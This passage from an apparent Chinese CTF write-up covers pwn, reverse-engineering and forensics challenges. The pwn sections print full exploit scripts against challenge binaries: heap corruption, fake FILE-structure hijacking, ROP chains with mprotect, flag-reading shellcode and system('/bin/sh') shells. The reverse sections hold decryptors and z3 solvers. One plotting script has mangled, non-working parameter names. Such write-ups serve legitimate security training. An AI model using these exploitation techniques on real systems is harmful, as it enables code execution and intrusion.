add(0, 0x200)
free(0)
add(1, 0x200)
free(0)
show(1)
ru("Data: ")
heap=u64(r(5).ljust(8, "\0"))<<12
heap-=0x3000
print hex(heap)
add(0, 0x100)
add(1, 0x100)
free(1)
free(0)
add(2, 0x100)
add(3, 0x100)
free(1)
free(0)
rdi=libc.address+0x010f75b
#rsi=libc.address+0x00110a4d
binsh=libc.address+0x1cb42f
jmp=libc.address+0xb4b21
rop=p64(heap+0x3000)
#rop+=p64(rsi)+p64(0)
rop+=p64(libc.symbols['mprotect'])
rop+=p64(rdi)+p64(heap+0x3528)
rop+=p64(jmp)
sc=asm("""
mov rax, 0x67616c66
push rax
xor rdi, rdi
sub rdi, 100
mov rsi, rsp
push 0
push 0
push 0
mov rdx, rsp
mov r10, 0x18
push SYS_openat2
pop rax
syscall
mov rdi,rax
mov rsi,rsp
mov edx,0x100
xor eax,eax
syscall
mov edi,1
mov rsi,rsp
push 1
pop rax
syscall
""")
rop+=sc
target=(libc.sym["_IO_2_1_stdout_"])^(heap+0x3300)>>12
edit(2, p64(target))
fake_io = flat({
0x0: b' sh;',
0x10: p64(libc.symbols['setcontext']+61),
0x20: p64(libc.symbols['_IO_2_1_stdout_']+8),
0x78: p64(0x2000),
0x88: p64(libc.symbols['_environ']-0x10), # _lock
0x90: p64(7),
0xa0: p64(libc.symbols['_IO_2_1_stdout_']),
0xa8: p64(heap+0x3500),
0xb0: p64(rdi),
0xd8: p64(libc.symbols['_IO_wfile_jumps'] + 0x10),
0xe0: p64(libc.symbols['_IO_2_1_stdout_']-8),
}, filler=b"\x00")
add(0, 0x100)
#debug("break *_IO_wdoallocbuf\nc")
#debug("break *_IO_switch_to_wget_mode\nc")
add(1, 0x400, rop)
add(0, 0x100, fake_io)
shell()
CTFers
可以有一次机会更改 CTFer 指针,可以改到 name 这样就可以伪造 CTFer 结构题。最后先伪造泄漏之后利用 show 来任意代码执行。
from pwn import *
context(arch='amd64',os='linux')
context.log_level="INFO"
context.terminal = ["tmux", "splitw", "-h"]
#io=process("./chal")
io=remote("127.0.0.1", 36311)
libc=ELF("./libs/libc.so.6")
r = lambda a : io.recv(a)
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True : io.recvuntil(a,b)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
shell = lambda : io.interactive()
def debug(script=""):
gdb.attach(io, gdbscript=script)
IAT = 'Choice'
def add(name, point, type):
sla(IAT, '0')
sla('Name', name)
sla('Point', str(point))
sla('Type', str(type))
def dele(idx):
sla(IAT, b'1')
sla('Index', str(idx))
def edit(data):
sla(IAT, str(0xDEADBEEF))
sl(data)
def show():
sla(IAT, '2')
payload = flat(
{
0x0: 0x409310,
0x8: 0x72,
0x10: 0x409040,
0x18: 8,
0x30: 0x402B9E,
},
filler='\x00',
) #fake user
add(payload, 114, 1)
edit(str(0x4092E0))
show()
ru('I am ')
libc.address = u64(ru('\x7f', False)[-6:].ljust(8, "\0")) - 0x21B780
print hex(libc.address)
rdi = libc.address+0x2a3e5
rsi = libc.address+0x02be51
ret = 0x40201a
print hex(rdi)
payload = flat(
{
0x0: 0x409310,
0x8: 0x409300 - 0x18,
0x10: 0x409300,
0x18: 8,
0x20: libc.address + 0x5A44E,
0x30: libc.address + 0x15D030,
0x38: rdi,
0x40: 0,
0x48: rsi,
0x50: 0x409300,
0x58: libc.sym["read"],
},
filler=b'\x00'
)
add(payload, 114, 1)
show()
payload = '\x00' * 0x40 + p64(libc.address + 0x1211AD) + '\x00' * 0x418 + flat([rdi, next(libc.search('/bin/sh')), libc.sym["system"]])
ru('[0] ')
s(payload)
shell()
Minisnake
如果墙旁边有苹果可以吃苹果撞墙来进行溢出,利用 numeric 皮肤可以控制溢出数据。
用 AI 生成了一个种子寻找器
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <stdbool.h>
#define WIDTH 16
#define HEIGHT 16
#define POINTS 10
#define MAX_LENGTH POINTS
enum skins { CLASSIC, NUMERIC };
struct Point {
size_t x;
size_t y;
uint8_t value;
};
struct Snake {
size_t length;
struct Point body[MAX_LENGTH + 3];
size_t point_count;
struct Point points[POINTS];
};
struct {
enum skins skin;
unsigned int seed;
} config;
int point_compar_pos(const void *_pa, const void *_pb) {
const struct Point *pa = _pa;
const struct Point *pb = _pb;
if (pa->x != pb->x) return pa->x - pb->x;
return pa->y - pb->y;
}
void *search(const void *key, const void *base, size_t nmemb, size_t size,
int (*compar)(const void *, const void *)) {
const void *ptr;
for (size_t i = 0; i < nmemb; ++i) {
ptr = base + i * size;
if (compar(ptr, key) == 0) {
return (void *)ptr;
}
}
return NULL;
}
void create(uint8_t map[HEIGHT][WIDTH], struct Snake *snake) {
int x, y;
for (int i = 0; i < POINTS; ++i) {
do {
x = random() % WIDTH;
y = random() % HEIGHT;
} while (search(&(struct Point){.x = x, .y = y}, snake->points, i,
sizeof(struct Point), point_compar_pos) ||
search(&(struct Point){.x = x, .y = y}, snake->body,
snake->length, sizeof(struct Point), point_compar_pos));
snake->points[i] = (struct Point){
.x = x, .y = y, .value = random() % (UINT8_MAX - 1) + 1};
++snake->point_count;
map[y][x] = snake->points[i].value;
}
}
void init_snake(struct Snake *snake, uint8_t map[HEIGHT][WIDTH]) {
snake->length = 3;
snake->point_count = 0;
snake->body[0] = (struct Point){.x = 5, .y = 3};
snake->body[1] = (struct Point){.x = 4, .y = 3};
snake->body[2] = (struct Point){.x = 3, .y = 3};
for (int i = 0; i < 3; ++i) {
snake->body[i].value = random() % (UINT8_MAX - 1) + 1;
map[snake->body[i].y][snake->body[i].x] = snake->body[i].value;
}
}
bool print_snake_and_points(struct Snake *snake) {
//printf("\nSnake Body:\n");
//for (size_t i = 0; i < snake->length; ++i) {
//printf(" [%zu] x=%zu y=%zu value=0x%02x\n",
// i, snake->body[i].x, snake->body[i].y, snake->body[i].value);
//}
if(snake->body[0].value == 0x16 && snake->body[1].value == 0x4d){
//printf("\nPoints:\n");
for (size_t i = 0; i < POINTS; ++i) {
struct Point *p = &snake->points[i];
if(p->y==15){ return true; }
//printf(" [%zu] x=%zu y=%zu value=0x%02x\n", i, p->x, p->y, p->value);
}
}
return false;
}
void print_map(uint8_t map[HEIGHT][WIDTH]) {
printf("\nGame Map:\n");
for (int y = 0; y < HEIGHT; ++y) {
for (int x = 0; x < WIDTH; ++x) {
printf("%02x ", map[y][x]);
}
printf("\n");
}
}
int main(void) {
//struct Snake snake;
//uint8_t map[HEIGHT][WIDTH] = {0};
//printf("Enter seed: ");
//scanf("%u", &config.seed);
int seed = 0;
while(1){
struct Snake snake;
uint8_t map[HEIGHT][WIDTH] = {0};
config.skin = NUMERIC;
srandom(seed);
init_snake(&snake, map);
create(map, &snake);
if(print_snake_and_points(&snake)){ print_map(map); break;}
seed++;
}
printf("%d\n", seed);
return 0;
}
如果蛇头和蛇身分别为 0x16 和 0x4d 再让一个苹果在 y=15 位置即可完成利用
Game Map:
00 4d 00 00 00 00 00 00 00 00 00 00 02 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 08 ae 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 d5 4d 16 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 b6 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 bc 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c3
4d 00 00 00 00 00 00 00 00 00 00 00 00 45 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 22 00 00 00 00 00 00 00 00 00 00 00 00 00
42194
当撞墙出去 y=17 时,立刻转右往 x 方向走。x=9 时摁 q 退出游戏,这样返回值会被控知道后门完成利用.
mmapheap
off by null 修改下一 node 的 freelist
申请到 node 的数据区
在 ld 中找到栈地址,伪造 chunk,将其链入 freelist
ROP mprotect orw (远程没有 sh)
#!/usr/bin/env python3
from pwncli import *
context.terminal = ["tmux", "splitw", "-h", "-l", "130"]
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0
if local_flag == "remote":
addr = '127.0.0.1:56459'
ip, port = re.split(r'[\s:]+', addr)
gift.io = remote(ip, port)
else:
gift.io = process('./vuln')
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc('libmylib.so')
gift.elf = ELF('./vuln')
IAT = b'Choose an option:\n'
def add(idx, size, data):
sla(IAT, b'1')
sla(b'idx', str(idx))
sla(b'size', str(size))
sa(b'data', data)
def dele(idx):
sla(IAT, b'3')
sla(b'idx', str(idx))
def edit(idx, data):
sla(IAT, b'2')
sla(b'idx', str(idx))
sa(b'data', data)
def show(idx):
sla(IAT, b'4')
sla(b'idx', str(idx))
cmd = '''
brva 0x12F0
brva 0x1422
brva 0x14F8
brva 0x15D9
# brva 0x17AA libmylib.so
# brva 0x19A1 libmylib.so
set $heap = $rebase(0x4080)
set $list = (&malloc - 0x1789) + 0x4020
c
'''
add(0, 0x100, b'a')
add(1, 0xFE00, b'a')
add(2, 0x80, b'a')
add(15, 0x10, b'a')
add(3, 0x40, b'a')
add(4, 0xFF40, b'a')
add(5, 0x20, b'a')
dele(1)
edit(5, b'a' * 0x20)
edit(0, b'A' * 0xC0 + b'\x00' + b'A' * 7)
add(6, 0x100, b'a')
dele(2)
edit(0, b'A' * 0xC8)
dele(6)
show(0)
libc_base = u64_ex(ru(b'\x7f')[-6:]) + 0xB0
set_current_libc_base_and_log(libc_base)
edit(0, b'A' * 0xC0 + p64(0x100) + p64(libc_base - 0x10010))
edit(5, b'\x00' * 0x10 + p64(0x1010) + p64(0))
fake_node = flat(
{
0x0: libc_base + 0x6890,
0x8: 0x114,
0x10: libc_base - 0x10000,
0x18: 0x7FFFFFFFFFFF,
0x20: libc_base - 0x20000,
0x28: libc_base - 0x20000,
},
filler=b'\x00',
)
add(7, 0xF0, b'a')
add(8, 0x1000, fake_node)
payload1 = b'\x00' * 0x70 + p32(0x110)
add(9, 0xFFF0, payload1)
fake_node = flat(
{
0x0: libc_base + 0x6910,
0x8: 0x114,
0x10: libc_base - 0x10000,
0x18: 0x7FFFFFFFFFFF,
0x20: libc_base - 0x20000,
0x28: libc_base - 0x20000,
},
filler=b'\x00',
)
edit(8, fake_node)
add(10, 0x100, b'a')
show(8)
stack = u64_ex(ru(b'\x7f')[-6:])
leak_ex2(stack)
fake_node = flat(
{
0x0: stack - 0x128,
0x8: 0x114,
0x10: libc_base - 0x10000,
0x18: 0x7FFFFFFFFFFF,
0x20: libc_base - 0x20000,
0x28: libc_base - 0x20000,
0x30: b'/bin/sh\x00',
},
filler=b'\x00',
)
edit(8, fake_node)
ld_base = libc_base + 0x7000
CG.set_find_area(False, True)
ret = CG.ret()
rsi_rbp = libc_base + 0x113F
rax = ld_base + 0x1548B
rdi_rbp = ld_base + 0x25AC
rdx_leave_ret = ld_base + 0x1F5FB
syscall = ld_base + 0x16629
payload2 = (
flat(
[
rax,
10,
rdi_rbp,
stack & 0xFFFFFFFFFFFFF000,
0,
rsi_rbp,
0x10000,
stack + 0x130,
rdx_leave_ret,
7,
syscall,
stack + 0x148,
]
)
+ ShellcodeMall.amd64.cat_flag
)
launch_gdb(cmd)
leak_ex2(libc_base)
leak_ex2(ld_base)
leak_ex2(stack)
# pause()
add(11, 0xFFF0, p64(ret) * 0x40 + payload2)
ia()
Reverse
d1ffer3nce
核心加密在 main_sub_1145141919 函数中,rust 也就只能全程动调看了
总体加密流程是将输入数据后面补上四个 0x04 字节,然后进行一系列类 tea 的自定义加密,我们可以根据调试和伪代码还原出加密流程,然后逆向编写解密就行
uint8_t input[] = {0x72, 0x9d, 0xae, 0xbe, 0xa2, 0xe3, 0x84, 0x5b, 0x31, 0x0f, 0x01, 0xf1, 0xb3, 0xe7, 0x03, 0xc2, 0x4c, 0x81, 0x0a, 0x9c, 0xa0, 0xed, 0x2c, 0x4d, 0x92, 0x52, 0xa2, 0x14, 0x88, 0x2d, 0x77, 0x21};
uint32_t *p32_input = (uint32_t *)input;
int input_len = 32;
uint64_t k1{};
uint32_t k2{};
int k3 = 0;
uint64_t count{};
uint32_t v21{};
uint8_t zero_tof[] = "0123456789abcdef";
uint32_t enc = p32_input[(input_len - 4) / 4];
// 动调得到的总轮次
k1 = 0x4D696E69 * 0x103;
for (int total_count = 0x103 - 1; total_count >= 0; total_count--)
{
count = (input_len - 4) / 4;
uint32_t k1_pre = k1 - 0x4D696E69;
k2 = ((uint32_t)(k1_pre + 0x4D696E69) >> 2) & 3;
int j = count + 1;
enc = p32_input[j - 1 - 1];
uint32_t p32_input_0 = p32_input[0];
uint64_t idx = k2 ^ (j - 1) & 3;
uint64_t Value = (k1 ^ p32_input_0) + (*((uint32_t *)&zero_tof + idx) ^ enc);
enc = p32_input[j - 1] - (Value ^ (((16 * enc) ^ (p32_input_0 >> 3)) + ((enc >> 5) ^ (4 * p32_input_0))));
p32_input[j - 1] = enc;
for (int i = count - 1; i >= 0; i--)
{
--count;
enc = p32_input[i - 1];
if (i == 0)
enc = p32_input[(input_len - 4) / 4];
uint32_t b = p32_input[i + 1];
uint32_t temp = ((k1 ^ b) + (*((uint32_t *)&zero_tof + (k2 ^ count & 3)) ^ enc));
uint32_t temp2 = (((16 * enc) ^ (b >> 3)) + ((enc >> 5) ^ (4 * b)));
enc = p32_input[i];
uint32_t a = enc - (temp2 ^ temp);
p32_input[i] = a;
}
k1 -= 0x4D696E69;
}
printf("%.32s", input);
//miniLCTF{W3lc0m3~MiN1Lc7F_2O25}
0.s1gn1n
main 函数去掉一个永恒跳转的花指令,函数逻辑很简单,根据 check 函数的返回值来判断正误,check 的返回值必须为 1 才是正确的
check 函数里面有两个函数看着跟二叉树好像有关系,我们直接定义个结构体还原一下
下面的函数就是 base64,以及前后自己异或 + 异或一个数组,最后计算这些值是不是符合算式最后的结果 v3==1
那么我们可以用 z3 去解,那么这个二叉树遍历我们怎么解决呢,其实可以构造个相同长度的 flag 然后进行映射
from z3 import *
import base64
class TreeNode:
def __init__(self, value):
self.value = value
self.left = self.right = None
def tree_init(data):
if not data:
return None
root = TreeNode(data[0])
queue = [root]
index = 1
while index < len(data):
node = queue.pop(0)
if index < len(data) and data[index]:
node.left = TreeNode(data[index])
queue.append(node.left)
index += 1
if index < len(data) and data[index]:
node.right = TreeNode(data[index])
queue.append(node.right)
index += 1
return root
def inorder_traversal(node, output):
if node:
inorder_traversal(node.left, output)
output.append(node.value)
inorder_traversal(node.right, output)
def solve_flag(byte_data, length):
s = Solver()
v5 = [Int(f'v5_{i}') for i in range(length)]
s.add(Sum([v5[i] - 1 for i in range(length)]) == 28) # -28 + sum(v5 - 1) = 0
for b in v5:
s.add(b >= 0, b < 127)
if s.check() != sat:
raise ValueError("Z3 cannot find a solution.")
model = s.model()
v5_values = [model.evaluate(v5[i]).as_long() for i in range(length)]
orig = [0] * length
orig[0] = byte_data[0]
for i in range(1, length):
orig[i] = v5_values[i] ^ orig[i - 1] ^ byte_data[i]
decoded = bytes(orig)
try:
return base64.b64decode(decoded)
except Exception as e:
raise ValueError(f"Base64 decode failed: {e}")
if __name__ == '__main__':
xor_box = [
0x58, 0x69, 0x7B, 0x06, 0x1E, 0x38, 0x2C, 0x20, 0x04, 0x0F, 0x01, 0x07,
0x31, 0x6B, 0x08, 0x0E, 0x7A, 0x0A, 0x72, 0x72, 0x26, 0x37, 0x6F, 0x49,
0x21, 0x16, 0x11, 0x2F, 0x1A, 0x0D, 0x3C, 0x1F, 0x2B, 0x32, 0x1A, 0x34,
0x37, 0x7F, 0x03, 0x44, 0x16, 0x0E, 0x01, 0x28, 0x1E, 0x68, 0x64, 0x23,
0x17, 0x09, 0x3D, 0x64, 0x6A, 0x69, 0x63, 0x18, 0x18, 0x0A, 0x15, 0x70
]
test = "miniL{0123456789abcdefghijklMNopqrstuvwxyzA}"
flag_bytes = solve_flag(xor_box, len(xor_box))
tree_root = tree_init(test)
table2 = []
inorder_traversal(tree_root, table2)
mapping = {table2[i]: flag_bytes[i] for i in range(len(flag_bytes))}
print(''.join(chr(mapping[c]) for c in test))
# miniLCTF{esrevER_gnir33nignE_Is_K1nd_0F_@rt}
x96re
天堂之门单字节异或 +SM4 标准加密
在 whathappened 函数里面我们可以看到它修改了段寄存器,之后会执行长跳转
经过调试可知对每个字节进行了 xor 0x4C,这个题其实出题人还写了解密的函数,但是标准加密直接用 cyberchef 解了
最后两个字节不用异或得到 flag 就是 miniLCTF{3ac159d665b4ccfb25c0927c1a23edb3}
rbf
Brainfuck 逆向
经过 java 层的分析可知,首先检验 flag 的格式和长度,然后再调用 native 的 check 函数进行校验
native 层的 check 函数会检查 flag 的内容必须都是小写字母,然后才会调用 brainfuck 进行 flag 的检验
直接下断点提取 brainfuck 的操作码,提取结果如下图:
接下来就是解析器的编写
#include <iostream>
#include <windows.h>
#include <fstream>
#include <map>
int WriteToFile(const std::string &file_string, const std::string str)
{
std::ofstream OsWrite(file_string, std::ofstream::trunc);
OsWrite << str;
OsWrite << std::endl;
OsWrite.close();
return 0;
}
void ProcessLoop(uint8_t *Code, int &i, int &p, std::string &Result, int &p_in, int len, int indentLevel = 0)
{
std::string indent(indentLevel, '\t');
char Buf[256]{};
sprintf(Buf, "%swhile(d[p])\n%s{\n", indent.c_str(), indent.c_str());
Result += Buf;
int initial_p = p;
i++;
while (i < len && Code[i] != ']')
{
uint8_t CurrentCode = Code[i];
switch (CurrentCode)
{
case '>':
{
// printf("++p;");
int add{};
while (Code[i] == '>')
{
++add;
i++;
}
i--;
if (add != 0)
{
sprintf(Buf, "%s\tp += %d;\n", indent.c_str(), add);
Result += Buf;
// printf("++p;");
p += add;
}
break;
}
case '<':
{
// printf("--p;");
int sub{};
while (Code[i] == '<')
{
++sub;
i++;
}
i--;
if (sub != 0)
{
sprintf(Buf, "%s\tp -= %d;\n", indent.c_str(), sub);
Result += Buf;
// printf("++p;");
p -= sub;
}
break;
}
case '+':
{
int add{};
while (i < len && Code[i] == '+')
{
++add;
i++;
}
i--;
if (add != 0)
{
// sprintf(Buf, "%s\td[p] += %d;\n", indent.c_str(), add);
sprintf(Buf, "%s\td[p] += %d;\n", indent.c_str(), add);
Result += Buf;
}
break;
}
case '-':
{
int sub{};
while (i < len && Code[i] == '-')
{
++sub;
i++;
}
i--;
if (sub != 0)
{
// sprintf(Buf, "%s\td[%d] -= %d;\n", indent.c_str(), p, sub);
sprintf(Buf, "%s\td[p] -= %d;\n", indent.c_str(), sub);
Result += Buf;
}
break;
}
case ',':
{
// sprintf(Buf, "%s\td[%d] = in[%d];\n", indent.c_str(), p, p_in);
sprintf(Buf, "%s\td[p] = in[p_in];\n%s\t++p_in;\n", indent.c_str(), indent.c_str());
Result += Buf;
++p_in;
break;
}
case '[':
{
ProcessLoop(Code, i, p, Result, p_in, len, indentLevel + 1);
break;
}
case '.':
{
// sprintf(Buf, "%s\tif(d[%d]==\'0\')\n%s\t\{\n%s%s\t\treturn 0;\n%s\t\}\n%s\tif(d[%d]==\'1\')\n%s\t\{\n%s%s\t\treturn 1;\n%s\t\}\n", indent.c_str(), p, indent.c_str(), indent.c_str(), indent.c_str(), indent.c_str(), indent.c_str(), p, indent.c_str(), indent.c_str(), indent.c_str(), indent.c_str());
sprintf(Buf, "%s\tif(d[p]==\'0\')\n%s\t\{\n%s%s\t\tbreak;\n%s\t\}\n%s\tif(d[p]==\'1\')\n%s\t\{\n%s%s\t\tbreak;\n%s\t\}\n", indent.c_str(), indent.c_str(), indent.c_str(), indent.c_str(), indent.c_str(), indent.c_str(), indent.c_str(), indent.c_str(), indent.c_str(), indent.c_str());
Result += Buf;
break;
}
default:
break;
}
i++;
}
sprintf(Buf, "%s}\n", indent.c_str());
Result += Buf;
}
int main()
{
int index = 0;
std::ifstream bfCodeFile("bf.txt");
uint8_t *Code = new uint8_t[45000];
if (!bfCodeFile.is_open())
{
delete[] Code;
return 0;
}
bfCodeFile.seekg(0, std::ios::end);
int len = bfCodeFile.tellg();
bfCodeFile.seekg(0, std::ios::beg);
bfCodeFile.read((char *)Code, len);
std::string Result;
int p = 0;
int p_in = 0;
char Buf[256]{};
for (int i = 0; i < len; i++)
{
uint8_t CurrentCode = Code[i];
switch (CurrentCode)
{
case '>':
{
int add{};
while (Code[i] == '>')
{
++add;
i++;
}
i--;
if (add != 0)
{
sprintf(Buf, "p += %d;\n", add);
Result += Buf;
// printf("++p;");
p += add;
}
break;
}
case '<':
{
int sub{};
while (Code[i] == '<')
{
++sub;
i++;
}
i--;
if (sub != 0)
{
sprintf(Buf, "p -= %d;\n", sub);
Result += Buf;
// printf("++p;");
p -= sub;
}
break;
}
case '+':
{
int add{};
while (Code[i] == '+')
{
++add;
i++;
}
i--;
if (add != 0)
{
// sprintf(Buf, "d[%d] += %d;\n", p, add);
sprintf(Buf, "d[p] += %d;\n", add);
Result += Buf;
}
break;
}
case '-':
{
int sub{};
while (Code[i] == '-')
{
++sub;
i++;
}
i--;
if (sub != 0)
{
// sprintf(Buf, "d[%d] -= %d;\n", p, sub);
sprintf(Buf, "d[p] -= %d;\n", sub);
Result += Buf;
}
break;
}
case ',':
{
// sprintf(Buf, "d[%d] = in[%d];\n", p, p_in);
sprintf(Buf, "d[p] = in[p_in];\n++p_in;\n");
Result += Buf;
++p_in;
break;
}
case '[':
{
ProcessLoop(Code, i, p, Result, p_in, len);
// 格式化注释
Result += "//" + std::to_string(index++) + "\n";
Result += "for(int count = 13;count<13+35;count++){printf(\"\%d,\",d[count]);}printf(\"\\n\");\n";
break;
}
case '.':
{
// sprintf(Buf, "if(d[%d]==\'0\')\n\{\n\treturn 0;\n\}\nif(d[%d]==\'1\')\n\{\n\treturn 1;\n\}\n", p, p);
sprintf(Buf, "if(d[p]==\'0\')\n\{\n\treturn 0;\n\}\nif(d[p]==\'1\')\n\{\n\treturn 1;\n\}\n");
Result += Buf;
break;
}
default:
break;
}
}
WriteToFile("C_Code.txt", Result);
END:
bfCodeFile.close();
delete[] Code;
return 0;
}
其实大家也可以直接去网上找脚本然后自己改,这里我添加了一些东西,我们在遍历完循环之后有一个数据的输出,为啥从 13 开始因为经过调试发现从 13 开始正好就是我们输入的值-‘a’,然后我又增加了行数注释,这样我们在调试我们生成的代码样本的时候可以全局搜索然后定位到具体的分析位置。
输出的 C_code 如下图:
然后我们直接运行这个程序,这里为啥选择 xydefghijklm 作为示例输入,稍后会给出答案,输出结果如下图:
才 1719 行数据也不是很多,然后我们就可以注意到前 12 列,正好就是我们的示例输入-‘a’,这里为啥不用 a,b 这些,在多次测试下 00,01 很容易混淆,所以选择了 xydefghijklm。
我们接着分析这些数据,前面那些行很显然是可以直接删去的
然后我们一眼盯真,发现了类似下标值的东西,我们不确定继续往下面找,最终确定确实是下标值,那么我们是不是可以想成就是循环,然后每个循环之间还有一些 00,其实可以删掉。
分离出每一个循环之后,我们发现每个循环的末尾都有一个值,比如下图这个就是 F7,这里很显然就是 cmp
那么我们看一下什么情况才是正确的情况,最后 d[p]的值必须为’1’
我们在输出的 C_code 里面发现后面是有两个 while 循环的,但这两个 while 循环又是固定的两种情况,一种是 +7,一种是 +8,因此必须让它走第一个 while 循环才行
while (d[p])
{
p += 1;
d[p] -= 1;
p += 1;
while (d[p])
{
d[p] -= 1;
}
p += 1;
while (d[p])
{
d[p] -= 1;
}
p -= 1;
p += 1;
d[p] += 7;
while (d[p])
{
p -= 1;
d[p] += 7;
p += 1;
d[p] -= 1;
}
p -= 1;
if (d[p] == '0')
{
break;
}
if (d[p] == '1')
{
break;
}
p -= 2;
while (d[p])
{
d[p] -= 1;
}
}
//1717
for (int count = 13; count < 13 + 35; count++) { printf("%02X ", d[count]); }printf("\n");
p += 1;
while (d[p])
{
p += 1;
while (d[p])
{
d[p] -= 1;
}
p += 1;
while (d[p])
{
d[p] -= 1;
}
p -= 1;
p += 1;
d[p] += 6;
while (d[p])
{
p -= 1;
d[p] += 8;
p += 1;
d[p] -= 1;
}
p -= 1;
if (d[p] == '0')
{
break;
}
if (d[p] == '1')
{
break;
}
p -= 1;
d[p] -= 1;
}
//1718
for (int count = 13; count < 13 + 35; count++) { printf("%02X ", d[count]); }printf("\n");
p -= 27;
回到我们之前分析的打印的数据那里这三列,第一列是我们自己经过加密后的数据,第二列是我们需要相等的数据(但是这个需要相等的数据不完全是打印出来的这个数字),需要我们去验证一下,因为我们所框的第二排数据是我们的密文减去我们加密的数据,这个数字是正确的,因此我们只需要用下面的数字加上我们自己输入的加密数据就可以得出密文,然后如果每一组对比正确的话第三排的第一列就会返回 1。
接下来我们就要分析每个循环里面的加密流程,他每个加密流程都是如下图这样,都是一个一个的方程组
然后手动提取方程组写个 z3 求解就行
from z3 import *
enc = [0xFD, 0xC7, 0xF8, 0x93, 0x9E, 0x66, 0xC0, 0xA9, 0xFF, 0xF3, 0xDC, 0xE5]
input = [BitVec(f"input{i}", 8) for i in range(12)]
s = Solver()
for i in range(12):
s.add(input[i] >=0, input[i] <= 26)
Temp =[0]*12
Temp[0]=0x03*input[0] + 0x03*input[1] + 0x03*input[2] + 0x03*input[3] + 0x01*input[4] + 0x01*input[5] + 0x03*input[7] + 0x02*input[10] +0x03*input[11]
Temp[1]=0x03*input[0] + 0x02*input[1] + 0x02*input[2] + 0x02*input[3] + 0x02*input[4] + 0x02*input[6] + 0x01*input[7] + 0x02*input[8]
Temp[2]=0x02*input[0] + 0x03*input[2] + 0x03*input[5] + 0x03*input[6] + 0x01*input[7] + 0x01*input[8] + 0x02*input[9] + 0x03*input[10]+ 0x01*input[11]
Temp[3]=0x02*input[2] + 0x03*input[6] + 0x02*input[7] + 0x03*input[8] + 0x02*input[10]
Temp[4]=0x01*input[0] + 0x02*input[1] + 0x02*input[2] + 0x01*input[3] + 0x02*input[5] + 0x01*input[8] + 0x02*input[10] + 0x01*input[11]
Temp[5]=0x03*input[1] + 0x03*input[5] + 0x02*input[6] + 0x02*input[10] + 0x01*input[11]
Temp[6]=0x01*input[0] + 0x01*input[1] + 0x03*input[2] + 0x01*input[5] + 0x02*input[6] + 0x02*input[7] + 0x02*input[8] + 0x02*input[9] + 0x01*input[10] + 0x02*input[11]
Temp[7]=0x03*input[0] + 0x02*input[1] + 0x02*input[2] + 0x02*input[4] + 0x01*input[5] + 0x02*input[8] + 0x01*input[10] + 0x01*input[11]
Temp[8]=0x03*input[0] + 0x03*input[1] + 0x03*input[2] + 0x03*input[3] + 0x01*input[4] + 0x02*input[5] + 0x02*input[6] + 0x02*input[9] + 0x02*input[11]
Temp[9]=0x01*input[0] + 0x01*input[1] + 0x02*input[3] + 0x02*input[4] + 0x02*input[5] + 0x02*input[6] + 0x02*input[7] + 0x02*input[8] + 0x03*input[10] + 0x01*input[11]
Temp[10]=0x03*input[1] + 0x02*input[2] + 0x01*input[5] + 0x01*input[6] + 0x02*input[7] + 0x03*input[8] + 0x03*input[9] + 0x03*input[10] + 0x01*input[11]
Temp[11]=0x03*input[0] + 0x03*input[1] + 0x03*input[3] + 0x01*input[4] + 0x02*input[5] + 0x03*input[6] + 0x02*input[7] + 0x01*input[9] + 0x02*input[10] + 0x03*input[11]
for j in range(12):
s.add(Temp[j] == enc[j])
if s.check() == sat:
m = s.model()
solution = [m.evaluate(input[i]).as_long() for i in range(12)]
Flag = [(v+0x61)&0xFF for v in solution]
flag = ''.join(chr(c) for c in Flag)
print("miniLCTF{"+flag+"}")
else:
print("No solution found")
# miniLCTF{favyxwekppoa}
Misc
MiniForensicsⅠ
passware 工具爆出 ai.rar 密码
rar 里面还隐藏了个 ssl.log 数据,winrar 打开即可看到
配合 wireshark,放置 ssllog 后解密 ssl 数据得到几个 upload,分别提取 lock.zip 以及 Bitlock 恢复密钥 txt。
lock.zip 等待第二题备用
得到 bitlock 恢复密钥,解开加密硬盘后得到 c.txt,使用脚本绘制
import matplotlib.pyplot as plt
import numpy as np
def read_coordinates(_filename_):
x_coords = []
y_coords = []
with open(filename, 'r') as file:
for line in file:
x, y = line.strip().split(',')
x_coords.append(float(x))
y_coords.append(-float(y))
return x_coords, y_coords
def plot_coordinates(_x_coords_, _y_coords_):
plt.figure(_figsize_=(12, 12))
plt.scatter(x_coords, y_coords,
_s_=3,
_alpha_=0.1,
_c_='blue',
_marker_='.')
plt.xlabel('X')
plt.ylabel('Y')
plt.title('Coordinate Plot')
plt.axis('equal')
plt.show()
try:
filename = r'c.txt'
x_coords, y_coords = read_coordinates(filename)
plot_coordinates(x_coords, y_coords)
except Exception as e:
print(f"错误: {e}")
得到提示,b=(a+c)/2,那么 a=(b*2)-c
import matplotlib.pyplot as plt
import numpy as np
def read_coordinates(_filename_):
x_coords = []
y_coords = []
with open(filename, 'r') as file:
for line in file:
x, y = line.strip().split(',')
x_coords.append(float(x))
y_coords.append(-float(y))
return x_coords, y_coords
def plot_coordinates(_x_coords_, _y_coords_):
plt.figure(_figsize_=(12, 12))
plt.scatter(x_coords, y_coords,
_s_=3,
_alpha_=0.1,
_c_='blue',
_marker_='.')
plt.xlabel('X')
plt.ylabel('Y')
plt.title('Coordinate Plot')
plt.axis('equal')
plt.show()
try:
filename = r'c.txt'
filename2 = r'b.txt'
x_coords, y_coords = read_coordinates(filename)
x_coords2, y_coords2 = read_coordinates(filename2)
result_x = []
result_y = []
for i in range(len(x_coords)):
